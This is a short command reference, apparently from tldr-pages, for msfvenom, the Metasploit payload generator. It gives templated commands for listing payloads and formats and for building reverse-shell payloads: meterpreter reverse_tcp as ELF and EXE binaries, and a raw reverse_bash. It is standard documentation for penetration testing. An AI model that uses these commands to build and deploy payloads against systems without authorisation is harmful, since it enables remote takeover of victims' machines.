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msfvenom — Manually generate payloads for metasploit. More information: <https://docs.metasploit.com/docs/using

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Problem

How to use the msfvenom command: Manually generate payloads for metasploit. More information: <https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html>.

Solution

msfvenom — Manually generate payloads for metasploit. More information: <https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html>.

List payloads:

msfvenom {{[-l|--list]}} payloads

List formats:

msfvenom {{[-l|--list]}} formats

Show payload options:

msfvenom {{[-p|--payload]}} {{payload}} --list-options

Create an ELF binary with a reverse TCP handler:

msfvenom {{[-p|--payload]}} linux/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} {{[-f|--format]}} elf {{[-o|--out]}} {{path/to/binary}}

Create an EXE binary with a reverse TCP handler:

msfvenom {{[-p|--payload]}} windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} {{[-f|--format]}} exe {{[-o|--out]}} {{path/to/binary.exe}}

Create a raw Bash with a reverse TCP handler:

msfvenom {{[-p|--payload]}} cmd/unix/reverse_bash LHOST={{local_ip}} LPORT={{local_port}} {{[-f|--format]}} raw

Code Snippets

List payloads

msfvenom {{[-l|--list]}} payloads

List formats

msfvenom {{[-l|--list]}} formats

Show payload options

msfvenom {{[-p|--payload]}} {{payload}} --list-options

Create an ELF binary with a reverse TCP handler

msfvenom {{[-p|--payload]}} linux/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} {{[-f|--format]}} elf {{[-o|--out]}} {{path/to/binary}}

Create an EXE binary with a reverse TCP handler

msfvenom {{[-p|--payload]}} windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} {{[-f|--format]}} exe {{[-o|--out]}} {{path/to/binary.exe}}

Context

tldr-pages: common/msfvenom

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